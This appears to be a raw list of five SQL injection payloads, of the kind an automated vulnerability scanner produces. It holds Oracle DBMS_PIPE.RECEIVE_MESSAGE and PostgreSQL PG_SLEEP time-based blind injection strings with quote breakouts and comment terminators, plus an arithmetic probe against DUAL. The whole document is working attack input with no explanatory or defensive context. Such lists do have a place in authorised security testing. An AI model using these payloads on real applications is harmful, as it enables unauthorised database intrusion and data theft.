1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
(select 198766*667891 from DUAL)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1dgpYblxt')) OR 680=(SELECT 680 FROM PG_SLEEP(15))--
1MGRy0apT') OR 16=(SELECT 16 FROM PG_SLEEP(15))--